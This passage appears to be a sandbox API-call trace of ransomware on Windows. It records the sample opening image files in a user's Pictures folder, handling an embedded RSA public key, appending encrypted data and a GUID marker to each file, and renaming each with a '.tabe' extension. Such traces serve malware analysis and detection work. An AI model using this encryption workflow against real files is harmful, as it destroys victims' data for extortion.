[0126.711] CloseHandle (hObject=0x618) returned 1 [0126.712] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\z1b7OTKSMe 9P9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z1b7otksme 9p9.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\z1b7OTKSMe 9P9.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z1b7otksme 9p9.bmp.tabe")) returned 1 [0126.713] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d92380, ftCreationTime.dwHighDateTime=0x1d5e802, ftLastAccessTime.dwLowDateTime=0x7ed2c1b0, ftLastAccessTime.dwHighDateTime=0x1d5d99a, ftLastWriteTime.dwLowDateTime=0x7ed2c1b0, ftLastWriteTime.dwHighDateTime=0x1d5d99a, nFileSizeHigh=0x0, nFileSizeLow=0x1054e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="z65aHdF05Ss3rT.bmp", cAlternateFileName="Z65AHD~1.BMP")) returned 1 [0126.713] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\z65aHdF05Ss3rT.bmp") returned=".bmp" [0126.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\z65aHdF05Ss3rT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z65ahdf05ss3rt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.713] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=66894) returned 1 [0126.713] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.714] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10528, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.714] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.716] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1054e, lpOverlapped=0x0) returned 1 [0126.716] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.716] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.716] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.717] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.717] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.717] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.717] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.717] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.717] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.717] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.718] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.718] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.718] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.718] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.718] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1054e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.718] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.718] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.718] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.719] CloseHandle (hObject=0x618) returned 1 [0126.719] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\z65aHdF05Ss3rT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z65ahdf05ss3rt.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\z65aHdF05Ss3rT.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z65ahdf05ss3rt.bmp.tabe")) returned 1 [0126.721] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2a3aa0, ftCreationTime.dwHighDateTime=0x1d5dde1, ftLastAccessTime.dwLowDateTime=0x6ef539c0, ftLastAccessTime.dwHighDateTime=0x1d5e427, ftLastWriteTime.dwLowDateTime=0x6ef539c0, ftLastWriteTime.dwHighDateTime=0x1d5e427, nFileSizeHigh=0x0, nFileSizeLow=0x56f2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_05UryK8xOvW6MyPrpY.jpg", cAlternateFileName="_05URY~1.JPG")) returned 1 [0126.721] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_05UryK8xOvW6MyPrpY.jpg") returned=".jpg" [0126.721] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_05UryK8xOvW6MyPrpY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_05uryk8xovw6myprpy.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.721] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=22258) returned 1 [0126.721] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.722] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x56cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.722] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.723] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x56f2, lpOverlapped=0x0) returned 1 [0126.724] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.724] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.724] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.724] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.725] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.725] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.725] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.725] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.725] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.725] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.725] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.725] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.725] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.725] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.726] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x56f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.726] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.726] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.726] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.726] CloseHandle (hObject=0x618) returned 1 [0126.727] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_05UryK8xOvW6MyPrpY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_05uryk8xovw6myprpy.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_05UryK8xOvW6MyPrpY.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_05uryk8xovw6myprpy.jpg.tabe")) returned 1 [0126.728] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2032370, ftCreationTime.dwHighDateTime=0x1d5e1be, ftLastAccessTime.dwLowDateTime=0xb9786e20, ftLastAccessTime.dwHighDateTime=0x1d5e16d, ftLastWriteTime.dwLowDateTime=0xb9786e20, ftLastWriteTime.dwHighDateTime=0x1d5e16d, nFileSizeHigh=0x0, nFileSizeLow=0x2037, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_GThVeGSJ.png", cAlternateFileName="_GTHVE~1.PNG")) returned 1 [0126.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_GThVeGSJ.png") returned=".png" [0126.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_GThVeGSJ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_gthvegsj.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.728] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=8247) returned 1 [0126.728] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.729] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2011, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.729] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.733] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x2037, lpOverlapped=0x0) returned 1 [0126.733] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.733] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.733] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.733] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.734] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.734] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.734] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.734] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.734] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.734] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.734] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.734] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.734] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.735] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.735] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2037, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.735] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.735] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.735] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.735] CloseHandle (hObject=0x618) returned 1 [0126.736] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_GThVeGSJ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_gthvegsj.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_GThVeGSJ.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_gthvegsj.png.tabe")) returned 1 [0126.737] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ffe380, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0xeee0eda0, ftLastAccessTime.dwHighDateTime=0x1d5d95a, ftLastWriteTime.dwLowDateTime=0xeee0eda0, ftLastWriteTime.dwHighDateTime=0x1d5d95a, nFileSizeHigh=0x0, nFileSizeLow=0x9549, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_H 1pL94xSSmA.png", cAlternateFileName="_H1PL9~1.PNG")) returned 1 [0126.737] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_H 1pL94xSSmA.png") returned=".png" [0126.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_H 1pL94xSSmA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_h 1pl94xssma.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.737] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=38217) returned 1 [0126.737] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.738] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9523, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.738] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.740] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x9549, lpOverlapped=0x0) returned 1 [0126.740] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.740] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.740] lstrlenA (lpString="-----BEGIN PUBLIC 